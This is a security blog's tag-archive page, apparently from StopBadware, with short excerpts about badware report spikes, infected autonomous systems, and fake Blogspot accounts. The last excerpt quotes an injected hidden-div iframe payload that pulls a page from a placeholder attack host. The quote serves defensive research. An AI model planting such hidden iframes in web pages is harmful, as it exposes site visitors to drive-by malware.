Tag Archives: attacks

Recent spikes in badware reports

Posted on June 16, 2010 by Maxim Weinstein

We have generally seen an increase in the number of badware URLs reported by our data providers lately, but in the past few weeks, we’ve seen unusually big spikes on three autonomous systems (simplifying slightly, an AS is a set … Continue reading →

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Google Blogspot Infections

Posted on March 2, 2010 by Oliver Day

It is unusual to see Google’s AS block listed on our Top Infected Networks page for so long. Generally the infections are not the result of blogs being attacked and successfully infected but rather mass fake accounts being setup on … Continue reading →

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The Krypt Story

Posted on February 23, 2010 by Oliver Day

About two weeks ago we noticed a huge spike of activity on AS 35908 which belongs to Krypt Technologies. If you click on the AS link you will see the actual numbers we recorded at StopBadware. 15,000 infections came out … Continue reading →

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Interesting attacks from .NL addresses

Posted on October 16, 2009 by Oliver Day

I’m researching some new attacks that have been popping up on the BadwareBusters forum recently.     Attacks have the form: <div style="display:none">mhukhzwbanqawsrlyqptqnfmpiiigkr<iframe width=548 height=403 src="http:ATTACK.SITE:8080/index.php"></iframe></div> After reviewing the posts by our users I compiled the following list of attack … Continue reading →

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